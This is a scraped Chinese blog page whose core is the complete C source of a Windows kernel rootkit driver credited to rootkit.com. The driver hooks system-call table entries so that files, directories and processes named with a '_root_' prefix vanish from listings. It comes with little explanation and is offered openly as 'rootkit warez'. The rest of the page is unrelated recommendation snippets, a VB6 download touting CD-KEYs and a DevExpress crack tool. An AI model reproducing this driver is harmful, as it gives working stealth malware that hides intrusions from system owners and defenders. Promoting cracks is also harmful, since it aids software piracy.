BASIC 6a

Rootkit隐形技术入门 Rootkit隐形技术入门这篇文章的作者: 宇文 出处:51CTO摘要:在安全界,rootkit已越来越引起人们的关注,而rootkit技术的过人之处就在于它的隐形技术,本文旨在向读者打开一扇通向rootkit隐形技术的大门。 一、综述本文将引领读者打造一个初级的内核级Rootkit,然后为其引入两种简单的隐形技术:进程隐形技术和文件隐形技术。同时,为了让读者获得rootk 阅读详情

// BASIC ROOTKIT that hides files, directories, and processes
// ----------------------------------------------------------
// v0.1 - Initial, Greg Hoglund (hoglund@rootkit.com)
// v0.2 - DirEntry struct fixed, b00lean (b00lean@rootkit.com)
// v0.3 - Added defines to compile on W2K, and comments.  Rich
// ----------------------------------------------------------
// visit www.rootkit.com for latest rootkit warez
// ----------------------------------------------------------

#include "ntddk.h"
#include "stdarg.h"
#include "stdio.h"
#include "ntiologc.h"

#define DWORD unsigned long
#define WORD unsigned short
#define BOOL unsigned long

// Length of process name (rounded up to next DWORD)
#define PROCNAMELEN     20
// Maximum length of NT process name
#define NT_PROCNAMELEN  16

ULONG gProcessNameOffset;

typedef struct _FILETIME { // ft
    DWORD dwLowDateTime;
    DWORD dwHighDateTime;
} FILETIME;

#pragma pack(1)
typedef struct ServiceDescriptorEntry {
        unsigned int *ServiceTableBase;
        unsigned int *ServiceCounterTableBase; //Used only in checked build
        unsigned int NumberOfServices;
        unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
#pragma pack()

__declspec(dllimport)  ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
#define SYSTEMSERVICE(_function)  KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]

struct _SYSTEM_THREADS
{
        LARGE_INTEGER           KernelTime;
        LARGE_INTEGER           UserTime;
        LARGE_INTEGER           CreateTime;
        ULONG                           WaitTime;
        PVOID                           StartAddress;
        CLIENT_ID                       ClientIs;
        KPRIORITY                       Priority;
        KPRIORITY                       BasePriority;
        ULONG                           ContextSwitchCount;
        ULONG                           ThreadState;
        KWAIT_REASON            WaitReason;
};

struct _SYSTEM_PROCESSES
{
        ULONG                           NextEntryDelta;
        ULONG                           ThreadCount;
        ULONG                           Reserved[6];
        LARGE_INTEGER           CreateTime;
        LARGE_INTEGER           UserTime;
        LARGE_INTEGER           KernelTime;
        UNICODE_STRING          ProcessName;
        KPRIORITY                       BasePriority;
        ULONG                           ProcessId;
        ULONG                           InheritedFromProcessId;
        ULONG                           HandleCount;
        ULONG                           Reserved2[2];
        VM_COUNTERS                     VmCounters;
        IO_COUNTERS                     IoCounters; //windows 2000 only
        struct _SYSTEM_THREADS          Threads[1];
};

#if 0
typedef enum _WXPFILE_INFORMATION_CLASS {
// end_wdm
    FileDirectoryInformation         = 1,
    FileFullDirectoryInformation,   // 2
    FileBothDirectoryInformation,   // 3
    FileBasicInformation,           // 4  wdm
    FileStandardInformation,        // 5  wdm
    FileInternalInformation,        // 6
    FileEaInformation,              // 7
    FileAccessInformation,          // 8
    FileNameInformation,            // 9
    FileRenameInformation,          // 10
    FileLinkInformation,            // 11
    FileNamesInformation,           // 12
    FileDispositionInformation,     // 13
    FilePositionInformation,        // 14 wdm
    FileFullEaInformation,          // 15
    FileModeInformation,            // 16
    FileAlignmentInformation,       // 17
    FileAllInformation,             // 18
    FileAllocationInformation,      // 19
    FileEndOfFileInformation,       // 20 wdm
    FileAlternateNameInformation,   // 21
    FileStreamInformation,          // 22
    FilePipeInformation,            // 23
    FilePipeLocalInformation,       // 24
    FilePipeRemoteInformation,      // 25
    FileMailslotQueryInformation,   // 26
    FileMailslotSetInformation,     // 27
    FileCompressionInformation,     // 28
    FileObjectIdInformation,        // 29
    FileCompletionInformation,      // 30
    FileMoveClusterInformation,     // 31
    FileQuotaInformation,           // 32
    FileReparsePointInformation,    // 33
    FileNetworkOpenInformation,     // 34
    FileAttributeTagInformation,    // 35
    FileTrackingInformation,        // 36
    FileIdBothDirectoryInformation,     // 37
    FileIdFullDirectoryInformation, // 38
    FileValidDataLengthInformation, // 39
    FileShortNameInformation,       // 40
        FileMaximumInformation
// begin_wdm
} WXPFILE_INFORMATION_CLASS, *PWXPFILE_INFORMATION_CLASS;
#endif
#define FileIdFullDirectoryInformation 38
#define FileIdBothDirectoryInformation 37


typedef struct _FILE_DIRECTORY_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER LastAccessTime;
    LARGE_INTEGER LastWriteTime;
    LARGE_INTEGER ChangeTime;
    LARGE_INTEGER EndOfFile;
    LARGE_INTEGER AllocationSize;
    ULONG FileAttributes;
    ULONG FileNameLength;
    WCHAR FileName[1];
} FILE_DIRECTORY_INFORMATION, *PFILE_DIRECTORY_INFORMATION;

typedef struct _FILE_FULL_DIR_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER LastAccessTime;
    LARGE_INTEGER LastWriteTime;
    LARGE_INTEGER ChangeTime;
    LARGE_INTEGER EndOfFile;
    LARGE_INTEGER AllocationSize;
    ULONG FileAttributes;
    ULONG FileNameLength;
    ULONG EaSize;
    WCHAR FileName[1];
} FILE_FULL_DIR_INFORMATION, *PFILE_FULL_DIR_INFORMATION;

typedef struct _FILE_ID_FULL_DIR_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER LastAccessTime;
    LARGE_INTEGER LastWriteTime;
    LARGE_INTEGER ChangeTime;
    LARGE_INTEGER EndOfFile;
    LARGE_INTEGER AllocationSize;
    ULONG FileAttributes;
    ULONG FileNameLength;
    ULONG EaSize;
    LARGE_INTEGER FileId;
    WCHAR FileName[1];
} FILE_ID_FULL_DIR_INFORMATION, *PFILE_ID_FULL_DIR_INFORMATION;

typedef struct _FILE_BOTH_DIR_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER LastAccessTime;
    LARGE_INTEGER LastWriteTime;
    LARGE_INTEGER ChangeTime;
    LARGE_INTEGER EndOfFile;
    LARGE_INTEGER AllocationSize;
    ULONG FileAttributes;
    ULONG FileNameLength;
    ULONG EaSize;
    CCHAR ShortNameLength;
    WCHAR ShortName[12];
    WCHAR FileName[1];
} FILE_BOTH_DIR_INFORMATION, *PFILE_BOTH_DIR_INFORMATION;

typedef struct _FILE_ID_BOTH_DIR_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER LastAccessTime;
    LARGE_INTEGER LastWriteTime;
    LARGE_INTEGER ChangeTime;
    LARGE_INTEGER EndOfFile;
    LARGE_INTEGER AllocationSize;
    ULONG FileAttributes;
    ULONG FileNameLength;
    ULONG EaSize;
    CCHAR ShortNameLength;
    WCHAR ShortName[12];
    LARGE_INTEGER FileId;
    WCHAR FileName[1];
} FILE_ID_BOTH_DIR_INFORMATION, *PFILE_ID_BOTH_DIR_INFORMATION;

typedef struct _FILE_NAMES_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    ULONG FileNameLength;
    WCHAR FileName[1];
} FILE_NAMES_INFORMATION, *PFILE_NAMES_INFORMATION;

NTSYSAPI
NTSTATUS
NTAPI
ZwQueryDirectoryFile(
        IN HANDLE hFile,
        IN HANDLE hEvent OPTIONAL,
        IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,
        IN PVOID IoApcContext OPTIONAL,
        OUT PIO_STATUS_BLOCK pIoStatusBlock,
        OUT PVOID FileInformationBuffer,
        IN ULONG FileInformationBufferLength,
        IN FILE_INFORMATION_CLASS FileInfoClass,
        IN BOOLEAN bReturnOnlyOneEntry,
        IN PUNICODE_STRING PathMask OPTIONAL,
        IN BOOLEAN bRestartQuery
);

NTSYSAPI
NTSTATUS
NTAPI ZwQuerySystemInformation(
            IN ULONG SystemInformationClass,
                        IN PVOID SystemInformation,
                        IN ULONG SystemInformationLength,
                        OUT PULONG ReturnLength);

typedef NTSTATUS (*ZWQUERYDIRECTORYFILE)(
    HANDLE hFile,
        HANDLE hEvent,
        PIO_APC_ROUTINE IoApcRoutine,
        PVOID IoApcContext,
        PIO_STATUS_BLOCK pIoStatusBlock,
        PVOID FileInformationBuffer,
        ULONG FileInformationBufferLength,
        FILE_INFORMATION_CLASS FileInfoClass,
        BOOLEAN bReturnOnlyOneEntry,
        PUNICODE_STRING PathMask,
        BOOLEAN bRestartQuery
);

typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)(
            ULONG SystemInformationCLass,
                        PVOID SystemInformation,
                        ULONG SystemInformationLength,
                        PULONG ReturnLength
);

ZWQUERYSYSTEMINFORMATION        OldZwQuerySystemInformation;
ZWQUERYDIRECTORYFILE            OldZwQueryDirectoryFile;


/* Find the offset of the process name within the executive process
   block.  We do this by searching for the first occurance of "System"
   in the current process when the device driver is loaded. */

void GetProcessNameOffset()
{
  PEPROCESS curproc = PsGetCurrentProcess();
  int i;
  for( i = 0; i < 3*PAGE_SIZE; i++ )
    {
      if( !strncmp( "System", (PCHAR) curproc + i, strlen("System") ))
 {
   gProcessNameOffset = i;
 }
    }
}

/* Copy the process name into the specified buffer.  */

BOOL GetProcessName( PCHAR theName )
{
  PEPROCESS       curproc;
  char            *nameptr;
  ULONG           i;
  KIRQL           oldirql;

  if( gProcessNameOffset )
    {
      curproc = PsGetCurrentProcess();
      nameptr   = (PCHAR) curproc + gProcessNameOffset;
      strncpy( theName, nameptr, NT_PROCNAMELEN );
      theName[NT_PROCNAMELEN] = 0; /* NULL at end */
      return TRUE;
    }
  return FALSE;
}

/* Given a directory entry, return the next
   directory entry in the linked list. */

DWORD getDirEntryLenToNext(
                IN PVOID FileInformationBuffer,
        IN FILE_INFORMATION_CLASS FileInfoClass
)
{
        DWORD result = 0;
        switch(FileInfoClass){
                case FileDirectoryInformation:
                        result = ((PFILE_DIRECTORY_INFORMATION)FileInformationBuffer)->NextEntryOffset;
                        break;
                case FileFullDirectoryInformation:
                        result = ((PFILE_FULL_DIR_INFORMATION)FileInformationBuffer)->NextEntryOffset;
                        break;
                case FileIdFullDirectoryInformation:
                        result = ((PFILE_ID_FULL_DIR_INFORMATION)FileInformationBuffer)->NextEntryOffset;
                        break;
                case FileBothDirectoryInformation:
                        result = ((PFILE_BOTH_DIR_INFORMATION)FileInformationBuffer)->NextEntryOffset;
                        break;
                case FileIdBothDirectoryInformation:
                        result = ((PFILE_ID_BOTH_DIR_INFORMATION)FileInformationBuffer)->NextEntryOffset;
                        break;
                case FileNamesInformation:
                        result = ((PFILE_NAMES_INFORMATION)FileInformationBuffer)->NextEntryOffset;
                        break;
        }
        return result;
}

/* Given two directory entries, link them together in a list. */

void setDirEntryLenToNext(
                IN PVOID FileInformationBuffer,
        IN FILE_INFORMATION_CLASS FileInfoClass,
                IN DWORD value
)
{
        switch(FileInfoClass){
                case FileDirectoryInformation:
                        ((PFILE_DIRECTORY_INFORMATION)FileInformationBuffer)->NextEntryOffset = value;
                        break;
                case FileFullDirectoryInformation:
                        ((PFILE_FULL_DIR_INFORMATION)FileInformationBuffer)->NextEntryOffset = value;
                        break;
                case FileIdFullDirectoryInformation:
                        ((PFILE_ID_FULL_DIR_INFORMATION)FileInformationBuffer)->NextEntryOffset = value;
                        break;
                case FileBothDirectoryInformation:
                        ((PFILE_BOTH_DIR_INFORMATION)FileInformationBuffer)->NextEntryOffset = value;
                        break;
                case FileIdBothDirectoryInformation:
                        ((PFILE_ID_BOTH_DIR_INFORMATION)FileInformationBuffer)->NextEntryOffset = value;
                        break;
                case FileNamesInformation:
                        ((PFILE_NAMES_INFORMATION)FileInformationBuffer)->NextEntryOffset = value;
                        break;
        }
}
       
/* Return the filename of the specified directory entry. */

PVOID getDirEntryFileName(
                IN PVOID FileInformationBuffer,
        IN FILE_INFORMATION_CLASS FileInfoClass
)
{
        PVOID result = 0;
        switch(FileInfoClass){
                case FileDirectoryInformation:
                        result = (PVOID)&((PFILE_DIRECTORY_INFORMATION)FileInformationBuffer)->FileName[0];
                        break;
                case FileFullDirectoryInformation:
                        result =(PVOID)&((PFILE_FULL_DIR_INFORMATION)FileInformationBuffer)->FileName[0];
                        break;
                case FileIdFullDirectoryInformation:
                        result =(PVOID)&((PFILE_ID_FULL_DIR_INFORMATION)FileInformationBuffer)->FileName[0];
                        break;
                case FileBothDirectoryInformation:
                        result =(PVOID)&((PFILE_BOTH_DIR_INFORMATION)FileInformationBuffer)->FileName[0];
                        break;
                case FileIdBothDirectoryInformation:
                        result =(PVOID)&((PFILE_ID_BOTH_DIR_INFORMATION)FileInformationBuffer)->FileName[0];
                        break;
                case FileNamesInformation:
                        result =(PVOID)&((PFILE_NAMES_INFORMATION)FileInformationBuffer)->FileName[0];
                        break;
        }
        return result;
}

/* Return the length of the filename of the specified directory
   entry. */

ULONG getDirEntryFileLength(
                IN PVOID FileInformationBuffer,
        IN FILE_INFORMATION_CLASS FileInfoClass
)
{
        ULONG result = 0;
        switch(FileInfoClass){
                case FileDirectoryInformation:
                        result = (ULONG)((PFILE_DIRECTORY_INFORMATION)FileInformationBuffer)->FileNameLength;
                        break;
                case FileFullDirectoryInformation:
                        result =(ULONG)((PFILE_FULL_DIR_INFORMATION)FileInformationBuffer)->FileNameLength;
                        break;
                case FileIdFullDirectoryInformation:
                        result =(ULONG)((PFILE_ID_FULL_DIR_INFORMATION)FileInformationBuffer)->FileNameLength;
                        break;
                case FileBothDirectoryInformation:
                        result =(ULONG)((PFILE_BOTH_DIR_INFORMATION)FileInformationBuffer)->FileNameLength;
                        break;
                case FileIdBothDirectoryInformation:
                        result =(ULONG)((PFILE_ID_BOTH_DIR_INFORMATION)FileInformationBuffer)->FileNameLength;
                        break;
                case FileNamesInformation:
                        result =(ULONG)((PFILE_NAMES_INFORMATION)FileInformationBuffer)->FileNameLength;
                        break;
        }
        return result;
}

/* NT's ZwQueryDirectoryFile() returns a a linked list of directory
   entries.  The function below imitates it, except it removes from
   the list any entry who's name begins with "_root_". */

NTSTATUS NewZwQueryDirectoryFile(
        IN HANDLE hFile,
        IN HANDLE hEvent OPTIONAL,
        IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,
        IN PVOID IoApcContext OPTIONAL,
        OUT PIO_STATUS_BLOCK pIoStatusBlock,
        OUT PVOID FileInformationBuffer,
        IN ULONG FileInformationBufferLength,
        IN FILE_INFORMATION_CLASS FileInfoClass,
        IN BOOLEAN bReturnOnlyOneEntry,
        IN PUNICODE_STRING PathMask OPTIONAL,
        IN BOOLEAN bRestartQuery
)
{
        NTSTATUS rc;
        CHAR aProcessName[PROCNAMELEN];
               
        GetProcessName( aProcessName );
        DbgPrint("rootkit: NewZwQueryDirectoryFile() from %s/n", aProcessName);

        rc=((ZWQUERYDIRECTORYFILE)(OldZwQueryDirectoryFile)) (
                        hFile,                                                  /* this is the directory handle */
                        hEvent,
                        IoApcRoutine,
                        IoApcContext,
                        pIoStatusBlock,
                        FileInformationBuffer,
                        FileInformationBufferLength,
                        FileInfoClass,
                        bReturnOnlyOneEntry,
                        PathMask,
                        bRestartQuery);

        if( NT_SUCCESS( rc ) &&
                (FileInfoClass == FileDirectoryInformation ||
                 FileInfoClass == FileFullDirectoryInformation ||
                 FileInfoClass == FileIdFullDirectoryInformation ||
                 FileInfoClass == FileBothDirectoryInformation ||
                 FileInfoClass == FileIdBothDirectoryInformation ||
                 FileInfoClass == FileNamesInformation )
                )
        {
                if(0 == memcmp(aProcessName, "_root_", 6))
                {
                        DbgPrint("rootkit: detected file/directory query from _root_ process/n");
                }
                else
                {
                        PVOID p = FileInformationBuffer;
                        PVOID pLast = NULL;
                        BOOL bLastOne;
                        do
                        {
                                bLastOne = !getDirEntryLenToNext(p,FileInfoClass);
                               
                                // compare directory-name prefix with '_root_' to decide if to hide or not.

                                if (getDirEntryFileLength(p,FileInfoClass) >= 12) {
                                        if( RtlCompareMemory( getDirEntryFileName(p,FileInfoClass), (PVOID)"_/0r/0o/0o/0t/0_/0", 12 ) == 12 )
                                        {
                                                if( bLastOne )
                                                {
                                                        if( p == FileInformationBuffer ) rc = 0x80000006;
                                                        else setDirEntryLenToNext(pLast,FileInfoClass, 0);
                                                        break;
                                                }
                                                else
                                                {
                                                        int iPos = ((ULONG)p) - (ULONG)FileInformationBuffer;
                                                        int iLeft = (DWORD)FileInformationBufferLength - iPos - getDirEntryLenToNext(p,FileInfoClass);
                                                        RtlCopyMemory( p, (PVOID)( (char *)p + getDirEntryLenToNext(p,FileInfoClass) ), (DWORD)iLeft );
                                                        continue;
                                                }
                                        }
                                }
                                pLast = p;
                                p = ((char *)p + getDirEntryLenToNext(p,FileInfoClass) );
                        } while( !bLastOne );
                }
        }
        return(rc);
}

/* NT's ZwQuerySystemInformation() returns a linked list of processes.
   The function below imitates it, except it removes from the list any
   process who's name begins with "_root_". */

NTSTATUS NewZwQuerySystemInformation(
            IN ULONG SystemInformationClass,
                        IN PVOID SystemInformation,
                        IN ULONG SystemInformationLength,
                        OUT PULONG ReturnLength
)
{
        NTSTATUS rc;
        CHAR aProcessName[PROCNAMELEN];
               
        GetProcessName( aProcessName );
        DbgPrint("rootkit: NewZwQuerySystemInformation() from %s/n", aProcessName);

        rc = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (
                        SystemInformationClass,
                        SystemInformation,
                        SystemInformationLength,
                        ReturnLength );

        if( NT_SUCCESS( rc ) )
        {
                // double check the process name, if it starts w/ '_root_' DO NOT
                // apply any stealth
                if(0 == memcmp(aProcessName, "_root_", 6))
                {
                        DbgPrint("rootkit: detected system query from _root_ process/n");
                }
                else if( 5 == SystemInformationClass )
                {
                        // this is a process list, look for process names that start with
                        // '_root_'
                        struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;
                        struct _SYSTEM_PROCESSES *prev = NULL;
                        while(curr)
                        {      
                                //struct _SYSTEM_PROCESSES *next = ((char *)curr += curr->NextEntryDelta);
                               
                                ANSI_STRING process_name;
                                RtlUnicodeStringToAnsiString( &process_name, &(curr->ProcessName), TRUE);
                                if( (0 < process_name.Length) && (255 > process_name.Length) )
                                {
                                        if(0 == memcmp( process_name.Buffer, "_root_", 6))
                                        {
                                                //////////////////////////////////////////////
                                                // we have a winner!
                                                //////////////////////////////////////////////
                                                char _output[255];
                                                char _pname[255];
                                                memset(_pname, 0, 255);
                                                memcpy(_pname, process_name.Buffer, process_name.Length);

                                                sprintf(        _output,
                                                                        "rootkit: hiding process, pid: %d/tname: %s/r/n",
                                                                        curr->ProcessId,
                                                                        _pname);
                                                DbgPrint(_output);

                                                if(prev)
                                                {
                                                        if(curr->NextEntryDelta)
                                                        {
                                                                // make prev skip this entry
                                                                prev->NextEntryDelta += curr->NextEntryDelta;
                                                        }
                                                        else
                                                        {
                                                                // we are last, so make prev the end
                                                                prev->NextEntryDelta = 0;
                                                        }
                                                }
                                                else
                                                {
                                                        if(curr->NextEntryDelta)
                                                        {
                                                                // we are first in the list, so move it forward
                                                                (char *)SystemInformation += curr->NextEntryDelta;
                                                        }
                                                        else
                                                        {
                                                                // we are the only process!
                                                                SystemInformation = NULL;
                                                        }
                                                }
                                        }
                                }
                                RtlFreeAnsiString(&process_name);
                                prev = curr;
                                if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta);
                                else curr = NULL;
                        }
                }
        }
        return(rc);
}

/* This device driver doesn't service I/O requests, so we provide only
   a dummy I/O dispatch routine. */

NTSTATUS
OnStubDispatch(
    IN PDEVICE_OBJECT DeviceObject,
    IN PIRP           Irp
    )
{
    Irp->IoStatus.Status      = STATUS_SUCCESS;
    IoCompleteRequest (Irp,
                       IO_NO_INCREMENT
                       );
    return Irp->IoStatus.Status;
}

/* Upon unloading this device driver, restore NT's original directory
   and process query functions. */

VOID OnUnload( IN PDRIVER_OBJECT DriverObject )
{
        DbgPrint("ROOTKIT: OnUnload called/n");

        // unhook system calls
        _asm cli
        (ZWQUERYDIRECTORYFILE)(SYSTEMSERVICE(ZwQueryDirectoryFile))     =OldZwQueryDirectoryFile;
        (ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation)) = OldZwQuerySystemInformation;
        _asm sti
}

/* Upon loading this device driver, 1) establish the offset of process
   names within the process block, 2) register the I/O and unload
   handlers, and 3) substitue the directory and process query
   functions with our stealthy imitations. */

NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath )
{
  int i;

  DbgPrint("My Driver Loaded!");

  GetProcessNameOffset();

  // Register a dispatch function
  for (i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++)
    {
      theDriverObject->MajorFunction[i] = OnStubDispatch;
    }

  theDriverObject->DriverUnload  = OnUnload;

  // save old system call locations
  OldZwQueryDirectoryFile=(ZWQUERYDIRECTORYFILE)(SYSTEMSERVICE(ZwQueryDirectoryFile));
  OldZwQuerySystemInformation =(ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation));

  // hook system calls
  _asm cli
    (ZWQUERYDIRECTORYFILE)  (SYSTEMSERVICE(ZwQueryDirectoryFile))=  NewZwQueryDirectoryFile;
  (ZWQUERYSYSTEMINFORMATION) (SYSTEMSERVICE(ZwQuerySystemInformation))= NewZwQuerySystemInformation;
  _asm sti
                               
    return STATUS_SUCCESS;
}
 

Visual Basic 6.0 sp6 简体中文企业版(附MSDN) Visual Basic 6.0中文企业版(独家推出,CD-KEY全部为1或者0) VB编程语言历史========= Visual Basic从1991年诞生以来,现在已经13年了。BASIC是微软的起家产品,微软当然不忘了这位功臣。随着每一次微软技术的浪潮,Visual Basic都会随之获得新生。可以预见,将来无论微软又发明了什么技术或平台,Visual Basic一定会首先以新的姿态登上去... 阅读详情

相关推荐

【编程常识】关于 Visual Basic 6.0 语言

** 什么是 Visual Basic 6.0? ** Visual basic 6.0中文版是一种由微软公司开发的包含协助开发环境的事件驱动编程语言,它源自于BASIC编程语言,拥有图形用户界面(GUI)和快速应用程序开发(RAD)系统,可以轻易的使用DAO、RDO、ADO连接数据库,或者轻松的创建ActiveX控件。 ...

m0_47617892的博客 3443

RootKit的隐藏文件

#include "ntddk.h"#define DWORD unsigned long#define WORD unsigned short#define BOOL unsigned long#pragma pack(1)typedef struct ServiceDescriptorEntry { unsigned int *ServiceTableBase; unsigned in

errorlife的专栏 1794

rootkit,文件,进程隐藏

rootkit,backdoor,系统调用劫持,ps进程隐藏,ls文件隐藏,代码

一个rootkit程序--隐藏文件和进程

This is SUSs rootkit. It can hide files and processes   when their names include "_sus_".=================================================================Written by dklkt.  2007.9Notice that

To be, or not to be: that is the question 1832

linux下2.6.32的rootkit,隐藏文件目录

使用的是enyelkm v1.1本身的获取系统调用表的过程。 隐藏文件、目录通过修改sys_call_table第220项。

rk3568 rockit编译测试

编译rockit不能使用SDK默认编译kernel的交叉编译,需要采用编译buildroot的,而编译buildroot的编译器SDK并没有存放,需要编译过buildroot之后才可以用。命令参数相关解析可查阅代码,这里提醒一下-l参数,这是程序运行计数,默认是100,时间很短,基本上显示画面一闪而过,一度以为是程序哪里出问题了,改用-l 1000,画面显示时间加长。此处跳过系统,单领出来编译。rockit组件包在4.10版本需要手动编译,奈何我的版本怎么都编译不了,后来改用5.10版本才编译通过。

zfenggo的博客 4196

内核获取进程名KeGetProcName

内核获取进程名,使用EPROCESS中的ImageFileName只能显示15个字节,如下:    +0x174 ImageFileName    : [16]  "aaaaaaaaaaaaaaa" 问了mo哥后发现SeAuditProcessCreationInfo中有ImageFileName 字段,类型为_OBJECT_NAME_INFORMATION,可以从该字段获取全路径和进程名。一

avder的专栏 4027

数字频率计设计中的常见误区:从VHDL代码到硬件实现的避坑指南

本文深入探讨了数字频率计从VHDL代码到FPGA硬件实现过程中的关键误区与解决方案。重点分析了闸门时间生成的精度与资源平衡、控制时序设计中的竞争冒险规避,以及如何利用EDA工具进行综合、时序约束与调试,确保设计稳定可靠。文章为开发者提供了从仿真成功到硬件可用的实战避坑指南。

spark7igniter的博客 213

潜伏的 Linux Rootkit:Syslogk

Syslogk 使用了多种方式隐藏自身:通过 hk_proc_readdir 隐藏包含恶意文件的目录通过 hk_getpr 隐藏特定进程通过 hk_t4_seq_show 隐藏特定服务通过安装 netfilter hook 控制接收到的特制 TCP 数据包通过硬编码的密钥利用特制 TCP 数据包远程启动 PayloadSyslogk 非常隐蔽,在特制的 TCP 数据包发送到实现主机前并不会加载后门,执行时也是打着 SMTP 合法服务的旗号进行隐蔽传输。

阿道夫的博客 808

NVIDIA A100驱动及CUDA安装指南

NVIDIA A100驱动及CUDA安装指南:详细介绍了在Ubuntu系统下安装A100显卡驱动和CUDA工具包的完整流程,包括环境准备、驱动安装、CUDA配置及性能优化建议。特别推荐猿界算力平台提供开箱即用的A100算力租赁服务,具备专业团队支持、灵活租期和实惠价格等优势。文末通过PyTorch测试验证了A100设备的可用性,展示了80GB显存的强大计算能力。

2401_89353317的博客 1511

下采样新突破!ADown模块让YOLOv11多尺度特征提取更精准

ADown 凭借可编程梯度信息与多分支特征聚合的创新设计,打破了传统下采样在特征保留上的固有局限。本教程从原理到代码实现,再到工业场景适配,完整呈现了其在 YOLOv11 中的集成路径。只需简单新增模块脚本并修改配置文件,你的目标检测模型就能在多尺度特征捕捉能力上实现跨越式提升——无论是学术研究中的小目标检测突破,还是工业场景下的复杂多尺度任务落地,ADown 都能成为你攻克下采样瓶颈的利器。现在就动手尝试,让你的检测模型在下一代下采样技术的创新中再上一个台阶吧。

know_F0727的博客 524

Dynamically Add Controls to a Form with Visual Basic 6.0

Visual Basic 6.0 allows you to dynamically add control to a form at run- time using the new Add method of the Controls collection. This article shows how to dynamically a

Explover的专栏 2817

从苏宁电器到卡巴斯基第02篇:我的本科时光(中)

怎么还分班了呢? 大概是在大二第二学期的时候吧,学院突然通知我们要分班。因为我们目前所有学生都是属于工商管理专业的,而从下个学期开始,就要分为会计、市场营销以及工商管理这三个方向。这还真是打了我一个措手不及,我都不知道还有分班这一回事。不过也没关系,我继续选择我的工商管理就好了。不过,在实际的选择结果上,像会计和工商管理这种学科,选的人自然是占了绝大多数,而选择市场营销的,大概也就是十

Gleam的专栏 9605

PTA刷题Basic篇——1011.A+B和C——Day(6)

问题描述 通过判断A+B和C之间的大小来输出相应的语句。 题目分析 题目很简单,但是我可能存在溢出问题,所以我们不能使用int类型的变量,所以这里使用了long long 类型的变量。 其次我们在输出相应语句的时侯可以用循环控制,i从0到n-1,每次都输出Case #i+1即可。 代码 #include <iostream> #include <vector> using...

weixin_44755413的博客 141

数仓建模:维度表合并时,如何处理可能出现的数据冲突?

通过以上方法,可以有效地处理维度表合并时可能出现的数据冲突,确保合并后的数据完整性、一致性和准确性,满足业务需求和数据仓库的性能要求。在合并过程中,需要根据实际情况选择合适的处理方法,并进行充分的测试和验证。(2)实战中总结的SQL技巧,帮助SQLBOY在SQL语言上有质的飞越,无论你应对业务难题及面试都会游刃有余【如果您觉得本文还不错,对你有帮助,那么不妨可以关注一下我的数字化建设实践之路专栏,这里的内容会更精彩。技巧总结,让你认识不一样的数仓。,数据库会抛出异常,可根据异常处理机制解决。

石榴姐yyds 1132

字节最新开源模型 DA3(Depth Anything 3)使用教程(一)从任意视角恢复视觉空间

本文介绍DepthAnything3(DA3)模型,一种能够从任意视觉输入中预测几何结构的创新解决方案。DA3采用Transformer骨干网络,通过统一的深度光线表示简化学习过程,支持单目/多视角深度估计、姿态估计和3D高斯预测等多项任务。模型系列包含基础版、度量级和单目专用版本,其中嵌套版本DA3NESTED-GIANT-LARGE表现最佳。代码库提供交互界面、CLI工具和多格式导出功能,支持模块化扩展。实验表明DA3在各项任务上超越现有模型,所有训练数据均来自公开学术数据集。

2506_90492529的博客 2548

Video4Linux2 part 6a: Basic frame I/O

This series of articles onvideo drivers has been through several installments, but we have yet to transfer a single frame of video data. Atthis point, though, we have covered enough of the format nego

kickxxx的专栏 1588

知识图谱中的 Ontology(本体论)

1980年,本体论(Ontology)哲学概念“本体”被引入到人工智能领域用来刻画知识。本体概念模型、明确、形式化、共享。本体是实体存在形式的描述,往往表示为一组概念定义和概念之间的层级关系,本体框架形式树状结构,通常被用来为知识图谱定义schema。如人、公司、车等都可以在具体场景下称为本体。Ontology是(特定领域)信息组织的一种形式,是领域知识规范的抽象和描述,是表达、共享、重用知识的方法。Ontology。

全网粉丝30W+,优快云、稀土掘金人工智能领域签约作者,人工智能、大模型、Python 爬虫,商务合作,请私信沟通。 2029

HackerRank中Basic Select专题Weather Observation Station 6,查询首字母是元音(a,e,i,o,u)的city 数据

HackerRank中Basic Select专题Weather Observation Station 6意思是查询首字母是元音(a,e,i,o,u)的city 数据;本文从 REGEXP、like、substring来编写查询语句。

LP'S Blog 248

假人有限元模型

假人模型,车辆碰撞假人有限元模型,适合做乘员安全的研究者利用

Devexpress16.2.6破解工具

Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具

vb编程有哪些相关的IDE开发工具vb.net,Basic语言?

在编程领域,VB 系列拥有丰富多样的 IDE 开发工具,为不同需求的开发者提供了广泛的选择,以下为你详细介绍:

1896

android 蓝牙通讯demo

android 下蓝牙通讯demo,实现了发现蓝牙,使能蓝牙,通过蓝牙发送消息。

手把手教你用GEE处理MOD10A1.061积雪数据:从下载到可视化完整流程

